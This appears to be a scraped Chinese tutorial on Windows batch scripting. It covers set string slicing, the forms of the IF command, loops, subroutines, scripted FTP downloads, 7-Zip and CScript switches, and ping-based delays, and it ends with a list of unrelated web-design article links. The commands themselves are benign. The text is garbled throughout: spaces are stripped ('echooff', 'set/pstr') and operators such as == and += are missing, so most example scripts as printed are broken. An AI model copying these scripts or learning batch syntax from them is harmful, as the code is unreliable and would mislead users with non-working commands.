%a%为变量名不可少冒号用于分隔变量名和说明部分符号可以 简单理解为“ 偏移” 即可 m为偏移量缺省为 0 n 为截取长度缺省为全部 上面所述用法其实相当于vbs函数 mid、 left、 right %a:~0,n% 相当于函数 left(a,n) 取左边n位 %a:~-m% 相当于函数right a,m 取右边 m位 %a:~m,n% 相当于函数 mid(a,m1,n) 从m1位开始取n位 %a:~m,-n% 相当于函数 mid(a,m1,len(a)-m-n) %a:~m % 相当于函数 mid(a,m1,len(a)-m) 或者 right(a,len(a)-m) 思考题目输入任意字符串求字符串的长度参考答案 echooff set/pstr请输入任意长度的字符串: echo 你输入了字符串:%str% if notdefined str(pausegoto:eof) setnum0 :len set/anum1 setstr%str:~0,-1% if definedstrgotolen echo 字符串长度为 %num% pause 好了set的一些用法,就介绍到这了,希望对各位有所帮助,时间不早睡觉Zz.... 第六章 if 命令讲解 第一种用法IF [NOT] ERRORLEVEL number command 第二种用法IF [NOT] string1string2 command 第三种用法IF [NOT] EXIST filename command 第四种用法IF增强的用法 在CMD使用IF/?打开IF的系统帮助(自己看我就不全部列出来了),我们会发现IF有3种基本的用法! 执行批处理程序中的条件处理。 IF[NOT]ERRORLEVELnumber command IF[NOT]string1string2command IF[NOT]EXISTfilename command NOT 指定只有条件为 false 的情况下 WindowsXP 才应该执行该命令。 ERRORLEVELnumber 如果最后运行的程序返回一个等于或大于 指定数字的退出编码指定条件为 true。 string1string2 如果指定的文字字符串匹配指定条件为 true。 EXISTfilename 如果指定的文件名存在指定条件为 true。command 如果符合条件指定要执行的命令。 如果指定的条件为 FALSE命令后可跟一个执行 ELSE关键字后的命令的 ELSE 命令。 ELSE 子句必须在 IF 之后出现在同一行上。例如: IF EXIST filename ( del filename ) ELSE ( echofilename missing ) 第一种用法 IF [NOT] ERRORLEVEL number command 这个用法的基本做用是判断上一条命令执行结果的代码,以决定下一个步骤. 一般上一条命令的执行结果代码只有两结果,成功用0表示 失败用 1表示. 举个例子: echooff net user IF %ERRORLEVEL% 0 echonet user 执行成功了! pause 这是个简单判断上条命令是否执行成功. 细心的朋友可能会发现,这个用法和帮助里的用法不太一样,按照帮助里的写法IF %ERRORLEVEL% 0 echonetuser 执行成功了! 这一句 代码应该写成:IF ERRORLEVEL 0echonet user 执行成功了! 那为什么我要写成这样呢?各位自己把代码改掉执行后,就会发现错误了! 用这种语法,不管你的上面的命令是否执行成功,他都会认为命令成功了,不知道是 BUG还是本人理解错误... 补充这不是 bug而是 if errorlevel 语句的特点当使用 if errorlevel 0 …… 的句式时 它的含义是如果错误码的值大于或等于0的时候将执行某个操作 当使用 if %errorlevel%0 …… 的句式时它的含义是如果错误码的值等于0的时候将执行某操作。 因为这两种句式含义的差别如果使用前一种句式的时候错误码语句的排列顺序是从大到小排列 %ERRORLEVEL% 这是个系统变量,返回上条命令的执行结果代码! 成功用0表示 失败 用 1表示. 当然还有其他参数,用的时候基本就这两数字. 一般上一条命令的执行结果代码只有两结果,成功用0表示 失败用 1表示 这只是一般的情况 实际上 errorlevel返回值可以在 0~255之间 比如 xcopy默认的errorlevel值就有5个分别表示5种执行状态退出码 说明 0 文件复制没有错误。 1 if errorlevel2 echo。 2 用户按 CTRLC 终止了 xcopy。 4 出现了初始化错误。没有足够的内存或磁盘空间 或命令行上输入了无效的驱动器名称或语法。 5 出现了磁盘写入错误。 要判断上面xcopy命令的 5种退出情况应写成 if errorlevel 5 echo 出现了磁盘写入错误 if errorlevel 4 echo 出现了初始化错误 if errorlevel 2 echo 用户按 CTRLC 终止了 xcopy if errorlevel 1 echo if errorlevel 2 echo if errorlevel 0 echo 文件复制没有错误。 才能正确执行。 补充完毕。 再举几个例子给新手理解 echooff net usertest IF%ERRORLEVEL% 1 echonet user 执行失败了! pause 这个是判断上一条命令是否执行失败的 echooff set/pvar随便输入个命令: %var% if %ERRORLEVEL% 0 gotoyes gotono :yes echo!var! 执行成功了 pause exit :no echo 基本上执行失败了.. pause这个是根据你输入的命令,自动判断是成功还是失败了! 在来一个简化版的 echooff set/pvar随便输入个命令: %var% if %ERRORLEVEL% 0 (echo%var%执行成功了) ELSE echo%var%执行失败了! pause else后面写上执行失败后的操作! 当然我门还可以把if else这样的语句分成几行写出来,使他看上去好看点... echooff set/pvar随便输入个命令: %var% if %ERRORLEVEL% 0 ( echo!var! 执行成功了 )ELSE( echo 基本上执行失败了.. ) pause 这里介绍的两种简写对 IF的三种语法都可以套用,不单单是在 IF [NOT] ERRORLEVEL numbercommand 这种法上才能用 第二种用法 IF[NOT]string1string2 command 这个呢就是用来比较变量或者字符的值是不是相等的. 例子 echooff set/pvar请输入第一个比较字符: set/pvar2请输入第二个比较字符: if %var%%var2%(echo 我们相等)ELSE echo 我们不相等 pause 上面这个例子可以判断你输入的值是不是相等,但是你如果输入相同的字符,但是如果其中一个后面打了一个空格, 这个例子还是会认为相等,如何让有空格的输入不相等呢?我们在比较字符上加个双引号就可以了. echooffset/pvar请输入第一个比较字符: set/pvar2请输入第二个比较字符(多输入个空格试试): if%var%%var2%(echo 我们相等)ELSEecho 我们不相等 pause 第三种用法 IF[NOT]EXISTfilenamecommand 这个就是判断某个文件或者文件夹是否存在的语法 例子 echooff ifexistc:\test(echo 存在文件)ELSEecho 不存在文件 pause 判断的文件路径加引号是为了防止路径有空格,如果路径有空格加个双引号就不会出现判断出错了! 这个语法没什么太多的用法,基本就这样了,就不多介绍了. 另外我们看到每条IF用法后都有个[NOT]语句,这啥意思?其他加上他的话,就表示先判断我们的条件不成立时, 没加他默认是先判断条件成立时,比如上面这个例子 echooff ifnotexistc:\test(echo 存在文件)ELSEecho 不存在文件 pause 加个NOT,执行后有什么结果,如果你的C盘下根本就没c:\test,他还是会显示存在文件,这就表示了加了NOT就 会先判断条件失败!懂了吧,上面例子改成这样就正确了! echooff ifnotexistc:\test(echo 不存在文件)ELSEecho 存在文件 pause 第四种用法 IF增强的用法 IF[/I]string1compare-opstring2command IFCMDEXTVERSIONnumbercommand IFDEFINEDvariablecommand 后面两个用法,我不做介绍,因为他们和上面的用法表示的意义基本一样,只简单说说 IF[/I] string1compare-opstring2command这个语句 在判断字符时不区分字符的大小写。CMDEXTVERSION 条件的作用跟 ERRORLEVEL 的一样 除了它是在跟与命令扩展名有关联的内部版本号比较。第一个版本是 1。 每次对命令扩展名有相当大的增强时版本号会增加一个。 命令扩展名被停用时 CMDEXTVERSION 条件不是真的。 如果已定义环境变量 DEFINED 条件的作用跟 EXISTS 的一样 除了它取得一个环境变量返回的结果是 true。 echooff if a A (echo 我们相等)ELSEecho 我们不相等 pause 执行后会显示我们不相等 echooff if /i a A(echo 我们相等) ELSE echo 我们不相等 pause 加上/I不区分大小写就相等了! 最后面还有一些用来判断数字的符号 EQU - 等于 NEQ - 不等于 LSS - 小于 LEQ - 小于或等于 GTR- 大于 GEQ - 大于或等于 我就举一个例子,大家都懂数学...不讲多了 echooff set/pvar请输入一个数字: if %var%LEQ 4(echo 我小于等于4)ELSEecho 我不小于等于4 pause 第七章 DOS编程高级技巧 一、界面设计   二、if…else…条件语句   三、循环语句   四、子程序   五、用ftp命令实现自动下载   六、用7-ZIP实现命令行压缩和解压功能   七、调用VBScript程序   八、将批处理转化为可执行文件   九、时间延迟   1、利用ping命令延时   2、利用for命令延时   3、利用vbs延迟函数精确度毫秒误差1000毫秒内   4、仅用批处理命令实现任意时间延迟精确度10毫秒误差50毫秒内 十、模拟进度条   十一、特殊字符的输入及应用   十二、随机数%random%的应用技巧   十三、变量嵌套 与 命令嵌套 一、交互界面设计没啥说的看看高手设计的菜单界面吧 echooff cls title 终极多功能修复 :menu cls color0A echo. echo echo 请选择要进行的操作然后按回车 echo echo. echo 1.网络修复及上网相关设置,修复IE,自定义屏蔽网站 echo. echo 2.病毒专杀工具端口关闭工具,关闭自动播放 echo. echo 3.清除所有多余的自启动项目修复系统错误 echo. echo 4.清理系统垃圾,提高启动速度 echo. echo Q.退出 echo. echo. :cho setchoice set/pchoice 请选择: IFNOT%choice% SETchoice%choice:~0,1% if /i%choice%1 goto ip if /i%choice%2 gotosetsave if /i%choice%3 gotokaiji if /i%choice%4 gotoclean if /i%choice%Q gotoendd echo 选择无效请重新输入 echo. gotocho 只要学完本教程前面的章节上面的程序应该能看懂了。 二、 if…else…条件语句 前面已经谈到 DOS条件语句主要有以下形式 IF[NOT]ERRORLEVELnumber command IF[NOT]string1string2command IF[NOT]EXISTfilename command 增强用法 IF[/I]string1 compare-opstring2command增强用法中加上/I就不区分大小写了! 增强用法中还有一些用来判断数字的符号 EQU - 等于 NEQ - 不等于 LSS - 小于 LEQ- 小于或等于 GTR- 大于 GEQ - 大于或等于 上面的 command命令都可以用小括号来使用多条命令的组合包括 else子句组合命令中 可以嵌套使用条件或循环命令。 例如: IFEXISTfilename( del filename )ELSE( echofilenamemissing ) 也可写成 if existfilename (del filename) else (echofilename missing) 但这种写法不适合命令太多或嵌套命令的使用。 三、循环语句 1、指定次数循环 FOR/L%variableIN (start,step,end)DOcommand [command-parameters] 组合命令 FOR/L%variableIN (start,step,end)DO( Command1 Command2 …… )2 、对某集合执行循环语句。 FOR%%variable IN(set)DOcommand [command-parameters] %%variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 对每个文件执行的命令可用小括号使用多条命令组合。FOR/R[[drive:]path] %variable IN(set)DOcommand [command-parameters] 检查以 [drive:]path 为根的目录树指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录则使用当前 目录。如果集仅为一个单点(.)字符则枚举该目录树。 同前面一样 command可以用括号来组合 FOR/R[[drive:]path] %variable IN(set)DO( Command1 Command2 …… commandn ) 3、条件循环 利用goto语句和条件判断 dos可以实现条件循环很简单啦看例子 echooff setvar0 rem************循环开始了 :continue set/avar1 echo 第%var%此循环 if %var%lss100 gotocontinue rem************循环结束了 echo 循环执行完毕 pause 四、子程序 在批处理程序中可以调用外部可运行程序 比如exe程序 也可调用其他批处理程序 这些 也可以看作子程序但是不够方便如果被调用的程 序很多就显得不够简明了很繁琐。 在windowsXP中 批处理可以调用本程序中的一个程序段 相当于子程序 这些子程序 一般放在主程序后面。 子程序调用格式 CALL:label arguments 子程序语法 :label command1 command2... commandn goto:eof 传至子程序的参数在 call语句中指定在子程序中用%1、 %2至%9的形式调用而子程序 返回主程序的数据只需在调用结束后直接引用就可以了 当然也可以指定返回变量请看下面的例子。 子程序例1 echooff call :sub return 你好 echo 子程序返回值 %return% pause :sub set%1%2 goto:eof 运行结果你好 子程序例2设计一个求多个整数相加的子程序 echooff setsum0 call :sub sum10 2035 echo 数据求和结果 %sum% pause :sub rem 参数1为返回变量名称 set/a %1%1%2 shift/2 if not%2 goto sub goto:eof 运行结果 65 在win98系统中 不支持上面这种标号调用 须将子程序单独保存为一个批处理程序 然后 调用。 五、用ftp命令实现自动下载 ftp是常用的下载工具 ftp界面中有 40多个常用命令自己学习了不介绍了。这里介绍 如何用dos命令行调用 ftp命令实现ftp自动登录并上传下载并自动退出ftp程序。 其实可以将ftp命令组合保存为一个文本文件然后用以下命令调用即可。 ftp -n-s:[[drive:]path]filename 上面的filename 为ftp命令文件包括登录IP地址用户名、密码、操作命令等 例 open90.52.8.3 打开ip useriware 用户为iware password8848 密码 bin 二进制传输模式 prompt cdtmp1 切换至iware用户下的tmp1目录 pwd lcdd:\download 本地目录 mget* 下载tmp1目录下的所有文件 bye 退出ftp 六、用7-ZIP实现命令行压缩和解压功能 语法格式详细情况见7-zip 帮助文件看得头晕可以跳过用到再学 7zcommand[switch...]base_archive_name[arguments...] 7z.exe的每个命令都有不同的参数switch,请看帮助文件 base_archive_name为压缩包名称 arguments为文件名称支持通配符或文件列表 其中 7z是至命令行压缩解压程序7z.exe command是7z.exe包含的命令列举如下 a Addsfilestoarchive. 添加至压缩包 a命令可用参数 -i(Include) -m(Method) -p(SetPassword) -r(Recurse) -sfx(createSFX) -si(useStdIn) -so(useStdOut) -ssw(Compresssharedfiles) -t(Typeofarchive) -u(Update) -v(Volumes) -w(WorkingDir) -x(Exclude)b Benchmark d Deletes files fromarchive. 从压缩包中删除文件 d命令可用参数 -i (Include) -m(Method) -p(SetPassword) -r(Recurse) -u(Update) -w(Working Dir) -x(Exclude) e Extract解压文件至当前目录或指定目录 e命令可用参数 -ai (Include archives) -an(Disable parsing ofarchive_name) -ao(Overwrite mode) -ax(Exclude archives) -i (Include) -o(SetOutput Directory) -p(SetPassword) -r(Recurse) -so(useStdOut) -x(Exclude) -y(AssumeYes onall queries) l Lists contents of archive. t Test u Update x eXtractwith full paths用文件的完整路径解压至当前目录或指定目录 x命令可用参数 -ai (Include archives) -an(Disable parsing ofarchive_name) -ao(Overwrite mode) -ax(Exclude archives) -i (Include) -o(SetOutput Directory) -p(SetPassword) -r(Recurse) -so(useStdOut) -x(Exclude) -y(AssumeYes onall queries) 七、调用VBScript程序 使用 Windows 脚本宿主 可以在命令提示符下运行脚本。 CScript.exe 提供了用于设置脚本 属性的命令行开关。 用法 CScript 脚本名称 [脚本选项...][脚本参数...] 选项 //B 批模式不显示脚本错误及提示信息 //D 启用 ActiveDebugging //E:engine 使用执行脚本的引擎 //H:CScript 将默认的脚本宿主改为 CScript.exe //H:WScript 将默认的脚本宿主改为 WScript.exe 默认 //I 交互模式默认与 //B 相对) //Job:xxxx 执行一个 WSF 工作 //Logo 显示徽标默认 //Nologo 不显示徽标执行时不显示标志 //S 为该用户保存当前命令行选项 //T:nn 超时设定秒允许脚本运行的最长时间 //X 在调试器中执行脚本 //U 用 Unicode 表示来自控制台的重定向 I/O “脚本名称 ” 是带有扩展名和必需的路径信息的脚本文件名称 如 d:\admin\vbscripts\chart.vbs。 “ 脚本选项和参数” 将传递给脚本。脚本参数前面有一个斜杠 (/)。每个参数都是可选的 但不能在未指定脚本名称的情况下指定脚本选项。 如果未指定参数则 CScript 将显示 CScript 语法和有效的宿主参数。 八、将批处理转化为可执行文件 由于批处理文件是一种文本文件 任何人都可以对其进行随便编辑 不小心就会把里面的命 令破坏掉所以如果将其转换成.com格式的可执行 文件不仅执行效率会大大提高而且不会破坏原来的功能更能将优先级提到最高。 Bat2Com就可以完成这个转换工作。 小知识在DOS环境下可执行文件的优先级由高到低依次为.com.exe.bat.cmd即如 果在同一目录下存在文件名相同的这四类文件当只 键入文件名时 DOS执行的是name.com 如果需要执行其他三个文件 则必须指定文件的 全名如name.bat。 这是一个只有5.43K大小的免费绿色工具可以运行在纯DOS或DOS窗口的命令行中用法 Bat2Com FileName 这样就会在同一目录下生成一个名为 FileNme.com的可执行文件 执行的效果和 原来的.bat文件一样。 九、时间延迟 本条引用[英雄]教程 什么是时间延迟顾名思义就是执行一条命令后延迟一段时间再进行下一条命令。 1、利用ping 命令延时 例 echooff echo 延时前 ping /n 3127.0.0.1nul echo 延时后 pause 解说 用到了 ping命令的“ /n”参数 表示要发送多少次请求到指定的ip。 本例中要发送 3 次请求到本机的ip 127.0.0.1。 127.0.0.1可简写为 127.1。“ nul” 就是屏蔽掉 ping命令所显示的内容。 2、利用for命令延时 例 echooff echo 延时前 for/l %%iin (1,1,5000)doecho%%inul echo 延时后 pause 解说原理很简单就是利用一个计次循环并屏蔽它所显示的内容来达到延时的目的。 十、模拟进度条 下面给出一个模拟进度条的程序。如果将它运用在你自己的程序中可以使你的程序更漂亮。 echooff mode concols113 lines15 color 9f cls echo. echo 程序正在初始化... echo. echo ┌─────────────────────────────────── ───┐ set/p ■nul for/L%%iin (11 38)do set/pa■nulping /n 1127.0.0.1nul echo 100%% echo └─────────────────────────────────── ───┘pause 解说“ set/pa■nul” 的意思是 只显示提示信息“ ■”且不换行 也不需手工输入任何 信息这样可以使每个“■” 在同一行逐个输出。“ ping /n 0127.1nul” 是输出每个“■” 的时间间隔即每隔多少时间输出一个“■.
http://www.huolong8.cn/news/130939/

相关文章:

  • 福州建设银行官网招聘网站wordpress建英文站
  • 安徽省同济建设集团网站商企通三合一网站建设
  • 云南协千网站优化是做什么的
  • 镇江网站建设优化案例分析seo诊断大夫
  • 网站服务器迁移步骤跨境电商erp选哪个好
  • 四川省建设厅网站电话做电影资源网站有哪些内容
  • 做logo的ppt模板下载网站乐清网吧什么时候恢复营业
  • 建设银行积分网站海淀做网站设计的公司
  • dede淘宝客网站模板便利的邯郸网站建设
  • 中山网站建设金科用word 做网站
  • 江西建网站温州做网站最好的
  • 做网站软件的义乌简游网络科技有限公司
  • u网站建设微信小程序怎么做网站
  • 公司网站建设合同要交印花税吗品牌策划案范本
  • wordpress 站外链接一般做网站用什么字体比较合适
  • 赚钱平台网站创意工作室网站
  • 鲜花网站源码企业生产erp软件公司
  • 网站策划初级方案模板网站版式布局
  • 东莞网站建设推广方案代做网页设计作业价格
  • 花店网站建设的工作流程二级建造师注册查询官网入口
  • 大良营销网站建设机构做一个网站平台的流程是什么
  • 网站建设与管理 十四五国规教材seo优化软件有哪些
  • 电子商务网站建设的结论wordpress 用户登录ip
  • dede旅游网站模板edm营销网站
  • 飞沐网站建设北京做图片的软件app
  • 网站建设意义模板找推广平台需要多少钱
  • 北京网站设计公司飞沐黑龙江省建设网
  • 做网站设计需要多少钱陕西手机网站建设
  • 安徽中擎建设公司网站广州市律师网站建设价格
  • 无锡网站推广排名怎么做自己的快递查询网站